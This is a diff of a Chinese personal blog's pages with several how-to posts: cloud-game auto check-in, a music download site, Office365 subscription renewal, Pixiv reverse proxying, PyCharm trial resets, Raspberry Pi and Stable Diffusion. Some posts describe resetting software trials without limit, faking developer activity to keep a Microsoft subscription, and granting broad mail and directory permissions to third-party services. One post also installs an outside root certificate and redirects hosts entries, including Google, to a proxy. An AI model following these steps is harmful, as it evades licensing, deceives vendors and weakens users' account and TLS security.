+

如果使用多用户,多个cookie请使用#分隔

+

如何获取变量内容?请点这里

+

+

+

+

测试脚本

请在当天没有签到的情况下测试!!!

+

我们先进入Action界面,启用Action

+

+

然后我们进入对应的脚本,启用脚本,并进行测试

+

+

除了点STAR进行启动以外(现在STAR启动不了了),你也可以点击右边那个白白的按钮来启动

+

只要测试通过就是没问题,如果你配置了TELEGRAM还会收到你的BOT给你发送的消息

+

测试通过后,你还需要创建保活需要用到的Github Token,详情可以看保活策略这一节(其实就在下面撒)

+

保活策略 (新版Action可跳过,但是在设置里面的Action权限要放行写入权限!)

因为Github Action在仓库60天内没有任何Push的时候会禁用你的Action,这时候我们就要进行保活

+

保活Action已经写好了,但是这里有一些步骤是需要你进行的,请看下面的图片生成GITHUB_TOKEN以便让脚本造成的更改能够正常推送入你的仓库

+

变量内容获取

cookie获取

首先我们进入官网,进行登录,然后用F12打开开发者工具后使用Ctrl+F5进行刷新,会刷出很多结果

+

我们在里面找到@me这一项,然后在右边找到Authorization将冒号后面的内容复制下来就是我们所需要的Cookie

+

如果使用多用户,多个cookie请使用#分隔

+

+

teleid获取

用你的Telegram找到@userinfobot,点个Start,会直接给你回复你的ID,复制下id后面的数字就是teleid了

+

teletoken获取

找@BotFather进行机器人的创建,按照提示创建即可,会给你一个API TOKEN,如果一不小心点过去了可以用命令/mybots管理自己的bot,找到自己想要使用的bot并获取API就可以了

+

SCKEY获取

访问ServerChanTurbo官网,并用你的微信扫码登陆,获取推送用的KEY即可(因为我没有使用这个推送方法所以没有图)

+

请各位使用了SC推送服务的小伙伴尽快迁移到SCT,原服务将会在四月底下线

+

QQKEY获取

不推荐使用此推送方式,因为其极不稳定!使用该推送方式无法收到QQ提醒的请不要开issue说这个问题,因为这是该服务的问题不是脚本问题

+

访问CoolPush官网,使用任一方式登录,在调用代码Skey可以看到你的KEY

+

+

PPKEY获取

**此平台是ServerChan的替代平台,因为ServerChan发了个通知,所以我就先把这个给更了

+

访问PushPlus官网,使用微信登录,直接在一对一推送复制自己的Token填入变量即可!

+

Q&A

返回值400并附带一串不知道什么鬼的字符串

例子:

+
1
2
3
4
5
6
7
8
感谢使用来自GamerNoTitle的网易云游戏自动签到脚本!
今日签到结果如下:
成功数量:0/1
失败数量:1/1
具体情况如下:
第1个账号签到失败,回显状态码为400,具体错误信息如下:GL8B/hH+v9cYGsm/Ag8PAAwBAr/XztPNzsm/Ag8PChAEv9e/EhACD70QBgQLvREMAf4Wv8m/Ag8PChAEAAu/17/5EtID0tD5EtLWz9b5EtIBA8/5EtT/1AL5EtLP0M2/Gqc=
GamerNoTitle: https://bili33.top
网易云游戏自动签到脚本: https://github.com/GamerNoTitle/wyycg-autocheckin
+ +

首先你需要确认你当天是否已经签到过了才运行的脚本,如果确实先签了到再运行脚本,网易确实会返回400

+

目前也只发现这种情况会返回400,如果有其他情况你可以在issue跟我提出

+

错误代码

telepot.exception.TelegramError

Chat not found

请先用你要接受信息的账户发个/start给你的bot,或者检查用户ID是否正确!

+

Not found

请检查自己的Telebot Token是否正确!

+

telepot.exception.UnauthorizedError

该错误显示如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Traceback (most recent call last):
File "main.py", line 185, in
send(teleid, teleinfomsg)
File "main.py", line 82, in send
bot.sendMessage(id, message, parse_mode=None, disable_web_page_preview=None, disable_notification=None,
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 513, in sendMessage
return self._api_request('sendMessage', _rectify(p))
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/init.py", line 491, in _api_request
return api.request((self._token, method, params, files), **kwargs)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 155, in request
return _parse(r)
File "/opt/hostedtoolcache/Python/3.8.9/x64/lib/python3.8/site-packages/telepot/api.py", line 147, in _parse
raise e(description, error_code, data)
telepot.exception.UnauthorizedError: ('Unauthorized', 401, {'ok': False, 'error_code': 401, 'description': 'Unauthorized'})
+ +

解决方法:检查自己的Bot的Token是不是正确的!

+

urllib3.exceptions

MaxRetryError

HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /botxxxx/sendMessage

+

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)

+

ReadTimeoutError

HTTPSConnectionPool(host='api.telegram.org', port=443): Read timed out. (read timeout=30)

+

出现这个错误,那就是Telegram的问题,Github连接不上Telegram服务器(大半是TG服务器炸了)(复制粘贴大法)

+
+

历史STAR

+

免责声明

使用本脚本造成的封号或任何违反相关法律法规造成的任何责任,由使用者自行承担,开发者不担负任何责任!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/NeteaseCloudGameFree/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/NeteaseMusicDownload/index.html b/posts/NeteaseMusicDownload/index.html new file mode 100644 index 0000000000..8f79f38a12 --- /dev/null +++ b/posts/NeteaseMusicDownload/index.html @@ -0,0 +1,301 @@ +NeteaseMusicDownload —— 网易云音乐自助下载网站 | GamerNoTitle + + + + + + + + + + + + + +

NeteaseMusicDownload —— 网易云音乐自助下载网站

下载站主页

+
+

这个项目起源于一个生活小例子。昨天(2022.2.9)我在剪视频,然后需要某一首歌,结果网易云直接不给我下(会员限定)

+

+

那没办法,我只能看看找点别的办法,最开始想到的是@nondanee/unblocknetease这个项目,但是这个项目年久失修,我打开了代理通道后,网易云接入就发现,网易云提示未连接到网络,说白了就是用不了

+

后来我想到我手头上有网易云音乐的对外链接的api,想想应该可以拿这个东西搞定这个事情,这个项目便诞生了~

+
+

找模板

做一个网站,首先颜值必须得高,这里我去html5up找了一个模板来用(因为懒QAQ)

+

因为这个网站所需要的元素很简单,就是一个输入框、一个按钮而已

+

+

最终找了Eventually这个模板,下载下来进行修改

+

写按钮事件

这里就是要用户把链接帖进去,然后把输入的内容的网易云域名改为我的api域名,所以就在JavaScript里面做了一下字符串替换

+
1
2
3
4
5
6
7
8
9
10
11
12
13
function openNew(){
var link = document.getElementById("link").value;
const NeteaseReg = new RegExp('music.163.com')
const schemeReg = new RegExp('^https?://')
if(NeteaseReg.test(link) && schemeReg.test(link)) {
var ToOpen = link.replace("music.163.com", "api.ninym.top").replace("/#/","/"); //防止解析暴毙
window.open(ToOpen);
}
else{
alert('请输入正确的网易云链接!\n例如 https://music.163.com/song?id=467787951&userid=252340012')
}
}

+ +

在这里用了两个正则表达式来判断是否含有网易云域名和是否为http(s)链接,如果不是就弹出提示,如果是就跳转到下一个页面

+

/song页面下,再写一个JavaScript,直接获取网易云的外链

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg); //获取url中"?"符后的字符串并正则匹配
var context = "";
if (r != null)
context = r[2];
reg = null;
r = null;
return context == null || context == "" || context == "undefined" ? "" : context;
}
if (GetQueryString("id") == ''){
undefined
}
else{
window.open('https://music.163.com/song/media/outer/url?id='+GetQueryString("id")+'.mp3','_self');
}

+ +

GetQueryString是将连接中的query参数解析出来,因为这里只需要用到id这个参数,所以判断一下如果id为空,就不采取任何操作,如果id不为空,就跳转到网易云链接进行下载

+

打包上传

接着将用户页打包上传到Github仓库GamerNoTitle/NeteaseMusicDownload: 一个可以下载网易云歌曲的网站,将api上传到另一个Github仓库并绑定不同的域名,就完成啦!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/NeteaseMusicDownload/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Office365-Renew-Project/index.html b/posts/Office365-Renew-Project/index.html new file mode 100644 index 0000000000..ec3c1d3dbf --- /dev/null +++ b/posts/Office365-Renew-Project/index.html @@ -0,0 +1,343 @@ +Office365开发者订阅保命计划 | GamerNoTitle + + + + + + + + + + + + + + + +

Office365开发者订阅保命计划

上次有一篇文章教大家怎么白嫖了Office365 E3 Subscription for Developers(现在是E5),近期我重新申请了一次(之前的过期了),在这里教大家怎么增大微软续费的机会

+

只是增大机会,并不是一定会续费!!!

+

我已经续费成功一次了,截图在底部

+
+ +
+

自建网盘法

Office365的E5订阅附带了5T的Onedrive(如果你是1T可以去Onedrive后台进行调整)

+

这里我推荐使用Oneindex,使用方便

+

只需要自己找一个服务器搭建,使用自己的账号获取API的ID和KEYS绑定即可,记得多用,怎么部署不多说

+

E5Sub_bot法

如果你有服务器也可以自己搭建,项目地址在这里https://github.com/iyear/E5SubBot

+

怎么搭建就去看官方文档,这里说一下没有服务器怎么弄

+

我们先打开Telegram,在搜索栏搜索@E5Sub_bot,打开以后在输入框搜索/bind

+

+

接着我们点击应用注册后面的那个链接,你也可以直接点击这里

+

打开后登陆自己的Office账户,把显示的应用机密保存下来

+

+

接着点下面那个蓝色的按钮,返回快速启动

+

往下拉网页,看到有个APP ID(or Client ID),我们把下面框框内的UUID找个地方复制粘贴临时保存一下

+

+

然后我们回到Telegram,输入刚刚的UUID和Secret秘钥,需要按照提供的格式进行输入

+

会返回一个带有链接的对话框给我们,我们点击授权用户后面的点击直达

+

+

弹出来一个登录界面,登录完成后,复制地址栏里面的网址,粘贴到Telegram的对话框内就可以了

+

+

+

这样我们就绑定成功了,接下来就不管它,它会自己进行API的调用,每小时调用一次,并且会给我们反馈结果

+

+

自动续订程序法

这是一个由其他大佬开发的网页端的程序,并且所有的操作都是在他的服务器上的,本地服务器不需要跑任何东西。我们打开https://e5.qyi.io/user/login?redirect=%2Fuser%2Fhome

+

打开可能有点慢,请耐心等待。打开后点击中间的Github图标使用Github进行登录,进入主界面

+

+

然后先把这个网页放在一边,打开Azure,在上面搜索应用注册,打开后,我们点击左上角的新注册,名称随便填,下面的受支持的账户类型选择第三个,URI我们填写https://e5.qyi.io/outlook/auth2/receive,一定要填正确,否则是无法使用的!

+

进入页面后,我们复制上面显示的应用程序(客户端)ID,以供备用,接着我们点击左边的证书和密码,创建我们这个程序的密码

+

+

在右边选择新客户端密码,描述随便填,密码我们选择从不过期,然后新建,把给我们的密码保存下来备用

+

接着点到API权限,点击添加权限,选择Microsoft Graph,然后选择右边的应用程序权限,勾选Mail.ReadMail.ReadBasicMail.ReadBasic.AllMail.ReadWrite即可,剩下那个Mail.Send不用选择,勾选后确定,点击添加权限右边的代表xxx授予管理员同意,一定要点,否则无法正常运行

+

+

接着返回刚刚的那个网页,ID和机密填进去,然后点保存,接着点授权,一定要点授权,否则不会正常运行!

+

Github Action法

这里我们使用的是一个Github项目AutoApiSecret,进入这个项目我们先把它fork一份到自己的账户下

+

同样,我们还是要先注册一个应用,获取应用ID和应用机密,怎么注册看自动续订程序法

+

唯一不同的是,我们需要的权限变为以下权限:

+

Files.Read.All Files.ReadWrite.All Sites.Read.All Sites.ReadWrite.All

+

User.Read.All User.ReadWrite.All Directory.Read.All Directory.ReadWrite.All

+

Mail.Read Mail.ReadWrite MailboxSettings.Read MailboxSettings.ReadWrite

+

勾选完下面的权限保存,别忘了要点允许!!!

+

我们使用rclone来获取我们的refresh_token,你可以点击这里下载rclone

+

在命令行里,输入

+
1
rclone authorize "onedrive" "之前保存的应用id" "之前保存的应用秘钥"
+ +

来打开登录窗口,在窗口内登录后,在命令行里面找到refresh_token:并把后面的内容直到,"expiry"的部分复制下来备用

+

接着我们回到我们的仓库,打开里面的1.txt文件,把刚刚获取的refresh_token贴进去

+

打开仓库设置,点击Secret,我们添加两个东西

+

第一个是CONFIG_ID,里面的内容写为id=r'你的应用id',第二个是CONFIG_KEY,里面的内容写作secret=r'你的应用机密'

+

接着打开仓库里面的1.txt,把你的refresh_token贴进去

+

打开右上角自己头像下的Settings,选到Developer Settings,再点到Personal access tokens,在这里我们新建一个token,名字随便填,但是权限我们需要勾一下内容

+

admin:repo_hook repo workflow

+

然后保存即可,回到我们的仓库,点击顶上的Action,如果你没有开过Action,那么这里会需要让你打开同意条例来打开Action,打开后,我们给自己的这个仓库点个Star,来手动触发我们的Action

+

在Action界面我们可以看到我们的Workflow是否运行正常,如果运行后打绿色的勾就说明成功了,这个时候就不需要再管它了,直接把这个仓库放着就好了,每一小时就会自动调用一次API,达到微软要求的开发(伪)目的

+
+

题外话

我今天重新开了一个E5的订阅,反正看看能撑多久

+

续费成功图

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Office365-Renew-Project/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Office365/index.html b/posts/Office365/index.html new file mode 100644 index 0000000000..5cf8127370 --- /dev/null +++ b/posts/Office365/index.html @@ -0,0 +1,318 @@ +白嫖Office365?这种好事我当然要来! | GamerNoTitle + + + + + + + + + + + + + + +

白嫖Office365?这种好事我当然要来!

相信很多人都在用Office,用的要么是WPS Office,要么就是Microsoft Office。正版的Office365价格贵得要死↓

+

家用Office价格(非商业用途)

+

所以今天,我就来教教怎么获取免费的Office365(而且还是管理员哦~)

+

准备工作

你需要准备:一个微软账户(个人用户,即非企业用户)

+

获取Office365账号

网址我贴在这里啦:https://developer.microsoft.com

+

进入以后发现里面有四个按钮

+

微软开发者中心

+

稍微解释一下,第一个和最后一个想必不用说了吧,都是熟悉的东西;第二个是微软的云服务平台Azure,第三个是微软的开发者软件Visual Studio(我还是喜欢VSCode),在这里我们点击Office,其他有需要的自己斟酌哈~

+

Office开发者页面

+

会看英文的小伙伴们就知道点哪个,不会看的我告诉你是先点右上角sign in

+

登录自己的账号后,点上面的Developer Program,进入开发者计划页面,点击中间那个最大的按钮写着JOIN NOW的~

+

Office开发者页面 - 加入开发者计划

+

点进去后会看见一个全英的界面,在第一个选择框里选择”China”(当然你要选其他国家我也没意见),第二个的Company填写你自己想要的名字,因为微软给的管理员账号是<username>@<domain>.onmicrosoft.com(自定义域名除外),所以你设定的名字需要尽量跟后面设置的一致。

+

设定好后,把下面两个勾给勾上,点击NEXT

+

配置界面

+

然后微软就会问你一堆问题

+

像下面这样:

+

+

+

看得懂英语的自己选择,但是在Products里面最好全部勾上,这样你就能使用所有的功能。如果看不懂英语,那么第一个问题和第二个问题请选择Personal Projects(第四个选项),第三个Products和第四个Technologies全部勾上,最后一个问题随便选择一个即可(如果你不是真的要开发的话),全部选择完以后点击下方的JOIN即可!

+

+

然后你就会像我一样被导到这个界面,说明你已经成功注册了!

+

+

点击下方的SET UP SUBSCRIPTION会弹出来一个小窗,第一个不用说,之前选什么现在就选什么,第二个create username是设置邮箱前缀,create domain就是上面提到的在邮箱后缀的第一位的东西,自己喜欢,但是尽量跟前面一致!下面两个框都是让你输入密码,输入完以后点下面的Continue即可!

+

启用office订阅

+

然后就会弹出提示,要你输入手机号码

+

输入手机号码

+

输入完了点击下面的send code,就会有短信发到你的手机,后面我不用说都可以解决了吧~

+

2020/4/27更新

+ +

保命需要,教程在这

+

题外话:

这个Office365需要用户足够活跃,每次的订阅周期为92天,过了92天就会检测用户是否足够活跃,如果不活跃则会被删除所有数据(当然你再注册也是可以的),所以比较推荐多人用一个组织。

+
+

1、你的姓名(可以是假名,我不在意)
2、显示名称(类似你在登录win10前的用户名)
3、邮箱前缀(就是@前面的那一串)
4、接收账号密码邮件的邮箱(如果没收到请检查垃圾箱!)
当我为你创建账户后,我会通过邮件通知你,也会把账号密码发到你的邮箱!
说明:我使用的也是这种office(92天订阅期),所以为了避免office删除组织后文件丢失,请不要把贵重文件放在onedrive中,丢失概不负责!
(表示微软并没有给我续费。。。)

+
+

如果不能确保自己能够被微软认定为开发者,那么我推荐你到http://233455.xyz:3000/(好像已经失效了?)去领取一个临时邮箱注册edu版(注:此edu注册的账户仅提供5T的onedrive空间,若需要office授权,请在该网页下面的使用规则查看)
祝大家白嫖成功~~~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Office365/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Pixiv-Nginx/index.html b/posts/Pixiv-Nginx/index.html new file mode 100644 index 0000000000..3ed1021834 --- /dev/null +++ b/posts/Pixiv-Nginx/index.html @@ -0,0 +1,330 @@ +PIXIV网页版及客户端访问恢复指南(Linux版) | GamerNoTitle + + + + + + + + + + + + + +

PIXIV网页版及客户端访问恢复指南(Linux版)

Windows版点这里,本文只介绍linux

+

国庆快乐鸭~

+

本周在想,既然Mashirozx的Nginx反代上P站的方案能在Windows上用,那Linux上肯定也是可以的,而且如果是一台linux服务器搭建好了,只需要把host指向到linux服务器上,就可以直接上P站,不用再开Mashirozx的Windows反代工具包了

+

废话不多说,直接上教程(封面图是从樱花庄的白猫引用过来的)

+

安装Nginx

在这里,我们安装Nginx(既然都是Nginx的反代了,不装怎么可以呢),Ubuntu上使用

+
1
$ apt-get install nginx
+ +

就可以安装了,安装完后输入

+
1
$ nginx -t
+ +

如果提示

+
1
2
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
+ +

就证明你安装成功了,当然,你也可以试着访问一下nginx的默认网站

+

访问localhost即可~!

+

克隆工具包

1
$ git clone git@github.com:mashirozx/Pixiv-Nginx.git
+ +

使用上面这个命令来克隆@Mashirozx/Pixiv-Nginx的反代工具包,然后打开文件夹中的“配置文件(非Windows用户使用)”文件夹

+

安装反代配置

进入~/etc/nginx/这个位置,把上面打开的那个文件夹的东西全部都丢进去(此处需要root权限),提示覆盖就覆盖即可!

+

移动文件到~/etc/nginx/

+

然后在~/etc/nginx目录下打开终端,输入以下命令

+
1
2
$ cd ca
$ cp pixiv.net.crt /usr/local/share/ca-certificates/pixiv.net.crt
+ +

将证书复制到根证书安装目录下,然后使用该命令

+
1
$ update-ca-certificates
+ +

更新证书,这样子你的根证书就成功安装了!

+

重载Nginx

使用命令

+
1
$ nginx -t reload
+ +

重启nginx,然后新配置就会应用到nginx中,这样,反向代理就建好了

+

修改host

接下来,你需要修改ubuntu的host

+

在~/etc/目录中找到host文件host文件没有后缀名,然后打开它,在里面加入以下内容(摘自PIXIV网页版及客户端访问恢复指南

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
127.0.0.1 www.google.com

#Pixiv Start
127.0.0.1 pixiv.net
127.0.0.1 www.pixiv.net
127.0.0.1 ssl.pixiv.net
127.0.0.1 accounts.pixiv.net
127.0.0.1 touch.pixiv.net
127.0.0.1 oauth.secure.pixiv.net
127.0.0.1 dic.pixiv.net
127.0.0.1 en-dic.pixiv.net
127.0.0.1 sketch.pixiv.net
127.0.0.1 payment.pixiv.net
127.0.0.1 factory.pixiv.net
127.0.0.1 comic.pixiv.net
127.0.0.1 novel.pixiv.net
127.0.0.1 imgaz.pixiv.net
127.0.0.1 sensei.pixiv.net
127.0.0.1 fanbox.pixiv.net
127.0.0.1 i.pximg.net
127.0.0.1 source.pixiv.net
127.0.0.1 i1.pixiv.net
127.0.0.1 i2.pixiv.net
127.0.0.1 i3.pixiv.net
127.0.0.1 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
127.0.0.1 en.wikipedia.org
127.0.0.1 zh.wikipedia.org #中文维基百科桌面版
127.0.0.1 en.m.wikipedia.org
127.0.0.1 zh.m.wikipedia.org
127.0.0.1 zh-yue.wikipedia.org #粤文维基百科桌面版
127.0.0.1 wuu.wikipedia.org #吴语维基百科桌面版
127.0.0.1 ug.wikipedia.org #维吾尔文维基百科桌面版
127.0.0.1 ja.wikipedia.org #日文维基百科桌面版
127.0.0.1 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
127.0.0.1 store.steampowered.com
127.0.0.1 steamcommunity.com
# Steam end
+ +

接下来有两种方式让host生效

+
重启电脑

这个不多说了,右上角电源键走起

+
重启服务

使用一下命令来重启networking服务(请用root用户运行)

+
1
2
3
$ cd ~
$ cd etc/init.d
$ ./networking restart
+ +

这样就可以立即加载HOST文件,打开你的浏览器,打开P站就可以愉快地浏览图片啦~

+

小技巧

当你在你的linux服务器上安装了反代服务后,你可以在你的windows计算机上利用host指向到你的linux服务器来达到上P站的目的(当然,你需要安装Mashirozx提供的ca证书)

+

在host文件中输入以下内容

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
172.52.5.100 www.google.com

#Pixiv Start
172.52.5.100 pixiv.net
172.52.5.100 www.pixiv.net
172.52.5.100 ssl.pixiv.net
172.52.5.100 accounts.pixiv.net
172.52.5.100 touch.pixiv.net
172.52.5.100 oauth.secure.pixiv.net
172.52.5.100 dic.pixiv.net
172.52.5.100 en-dic.pixiv.net
172.52.5.100 sketch.pixiv.net
172.52.5.100 payment.pixiv.net
172.52.5.100 factory.pixiv.net
172.52.5.100 comic.pixiv.net
172.52.5.100 novel.pixiv.net
172.52.5.100 imgaz.pixiv.net
172.52.5.100 sensei.pixiv.net
172.52.5.100 fanbox.pixiv.net
172.52.5.100 i.pximg.net
172.52.5.100 source.pixiv.net
172.52.5.100 i1.pixiv.net
172.52.5.100 i2.pixiv.net
172.52.5.100 i3.pixiv.net
172.52.5.100 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
172.52.5.100 en.wikipedia.org
172.52.5.100 zh.wikipedia.org #中文维基百科桌面版
172.52.5.100 en.m.wikipedia.org
172.52.5.100 zh.m.wikipedia.org
172.52.5.100 zh-yue.wikipedia.org #粤文维基百科桌面版
172.52.5.100 wuu.wikipedia.org #吴语维基百科桌面版
172.52.5.100 ug.wikipedia.org #维吾尔文维基百科桌面版
172.52.5.100 ja.wikipedia.org #日文维基百科桌面版
172.52.5.100 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
172.52.5.100 store.steampowered.com
172.52.5.100 steamcommunity.com
# Steam end
+ +

其中的ip地址172.52.5.100请更换为你的linux服务器地址!!!

+

当你确认已经安装完了证书,linux服务器的nginx服务运行正常后,你就可以打开pixiv愉快地浏览图片了!

+

题外话

上个月没有写3篇文章,我的问题(给自己的定位是3篇/mo)

+

国庆我没有咕咕咕,是不是应该夸奖我~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Pixiv-Nginx/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Pycharm-Unlimited-Evaluate/index.html b/posts/Pycharm-Unlimited-Evaluate/index.html new file mode 100644 index 0000000000..c2e88846d3 --- /dev/null +++ b/posts/Pycharm-Unlimited-Evaluate/index.html @@ -0,0 +1,298 @@ +Pycharm无限使用记录 | GamerNoTitle + + + + + + + + + + + + + +

Pycharm无限使用记录

Pycharm是个老牌的PY编辑器了,但是一直都没用它因为它收费而且社区版少很多功能。这不别人又给我推荐了一下它,作为老白嫖怪(花钱是不可能花钱的这辈子都不可能的)当然是要找办法来搞定它的激活的。

+

一开始我是找的激活码,但是我发现这软件的激活码没那么简单,后来就找到了下面的方法

+

(PS:理论上此方法适用于所有的JetBrains软件)

+

首先我们要安装一个Pycharm(这不是废话嘛),这边建议从官方下载不要走C&J。官方下载链接在这里:https://www.jetbrains.com/pycharm/

+

然后我们打开Pycharm,选择Evaluate,也就是评估,进入30天的试用期

+

在顶上找到File,点击Settings

+

+

然后在左边找到Plugins,点击上面的小齿轮,选择Manage这一项

+

+

然后在窗口点击+号,加入https://plugins.zhile.io这一项

+

+

返回,搜索IDE Eval Reset,并安装,然后重启你的Pycharm

+

重启以后,你能在Help选项卡下找到Eval Reset选项

+

+

Auto reset before per restart点上,点击右边的Reset,就会被重置为30天试用期了

+
+

本文结束!说点别的,因为我所去到的大学对网络、设备有着严格的要求,所以我可能长达一年都不会更新,请大家谅解!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Pycharm-Unlimited-Evaluate/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Raspberry-4B-Log/index.html b/posts/Raspberry-4B-Log/index.html new file mode 100644 index 0000000000..30ab089ba8 --- /dev/null +++ b/posts/Raspberry-4B-Log/index.html @@ -0,0 +1,320 @@ +Raspberry 4B 折腾记录(持续更新) | GamerNoTitle + + + + + + + + + + + + + + +

Raspberry 4B 折腾记录(持续更新)

烧录系统

我用的是balenaEtcher这个软件(别问为什么,问就是好看),比起Win32DiskImager和Rufus来说更好用一点(个人感觉)

+

(↓没插读卡器所以用磁盘代替一下,千万别写入磁盘!)

+

+

对ext4格式的存储介质进行写入

我用的是DiskGenius,但是不知道为什么在我的电脑上打开会提示这个……

+

+

Err: NTLEAS may be lost connection with hook process.

+

我这个用的是5.1.1的中文专业版(免费版不能对ext4格式进行写入),因为打不开所以我去换了个版本。

+

从网上下了个5.2.0.884就好了,就,很奇怪,估计是这个版本的问题。

+

重装Kali Linux后在无屏幕的条件下自动连接WIFI(未解决)

这个我在网上找了很多方法,但是我发现很多他们都是用的树莓派自己的Debian衍生系统,用的不是Kali,这个方法用在Kali上等于无效……

+

直到我发现了这几个

+

树莓派 kali Linux 开机自动连接WiFi (bash 脚本)_yayaleII的博客-CSDN博客_kali自动连接wifi

+

kali(64位)在树莓派4B的安装配置_CTQ54250的博客-CSDN博客

+

我尝试了一下,但是说白了,还是没解决……

+

使用屏幕键盘

1
sudo apt install matchbox-keyboard
+ +

在Raspberry Pi上

+
1
matchbox-keyboard
+ +

通过SSH

+
1
DISPLAY=:0 matchbox-keyboard &
+ +

该命令将加载Raspberry Pi上的屏幕键盘软件。

+

在树莓派上安装RDP服务

使用Har-Kuun/OneClickDesktop: A one-click script that installs a remote desktop environment on a Linux server with browser/RDP/VNC access. (github.com)

+

直接运行,但是在shell脚本里面需要把OS检查关掉(如果你像我一样用的是Kali)

+
1
2
3
4
5
#此脚本仅支持Ubuntu 18/20, Debian 10, 以及CentOS 7/8.
#如果您试图再其他版本的操作系统中安装,可以在下面禁用OS检查开关。
#请注意,在其他操作系统上安装此脚本可能会导致不可预料的错误。 请在安装前做好备份。

OS_CHECK_ENABLED=OFF
+ +

安装时可能会遇到依赖环境未安装的情况,直接用apt安装就行了

+

libpng

1
sudo apt install libpng-dev -y
+ +

libjpeg

1
sudo apt install libpng-dev -y
+ +

Cairo

1
sudo apt install libcairo2 libcairo2-dev -y
+ +

OSSP UUID

1
sudo apt install libossp-uuid-dev -y
+ +

无法编译

因为OpenSSL升级到3.0.0然后不支持,所以直接降级回去就行了

+

默认是OpenSSL 1.1.1m,所以建议先编译完再升级(没事别sudo apt upgrade -y

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Raspberry-4B-Log/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Stable-diffusion-webui-discovery/index.html b/posts/Stable-diffusion-webui-discovery/index.html new file mode 100644 index 0000000000..db3f36a9d1 --- /dev/null +++ b/posts/Stable-diffusion-webui-discovery/index.html @@ -0,0 +1,379 @@ +关于我玩Stable-diffusion-webui的那些事 | GamerNoTitle + + + + + + + + + + + + + +

关于我玩Stable-diffusion-webui的那些事

前段时间AI制图不是很火嘛,说NovelAI的制图效果可以比得上一些画师,然后当时B站就有很多的用AUTOMATIC1111/stable-diffusion-webui加上一堆模型来生成自己的图片

+

其实我一开始用的是naifu那一套,就是深紫色UI的那一个(图片在下面),而且是跑在colab上面的,这个跟stable-diffusion比的话没有负面Tag这个说法,就是给想要的图片的关键词,然后生成自己想要的图片

+

naifu版本

+

后来看到了Stable-diffusion这一套,换模型啥的会比naifu版更加方便,而且功能也更全面,于是果断转向naifu版

+

之前是跑在Google Colab上面的,但是最近不知道为什么抽风,stable-diffusion跑不起来(开到一半会自动被KeyboardInterupt),然后我就选择在我电脑上跑了

+

要是你想在Colab或者Kaggle上面跑的话,我这里也提供下载链接

+
+

stable-diffusion-webui 版本:下载链接

+

naifu-NovelAI 版本:下载链接

+
+

安装基本组件

这里我们需要从Github上面把源码给弄下来,打开终端输入

+
1
$ git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
+ +

然后进入stable-diffusion-webui文件夹,里面应该有几个bat或者sh脚本

+

Windows用户就逮着bat脚本用就行了,而Linux用户就用sh脚本

+

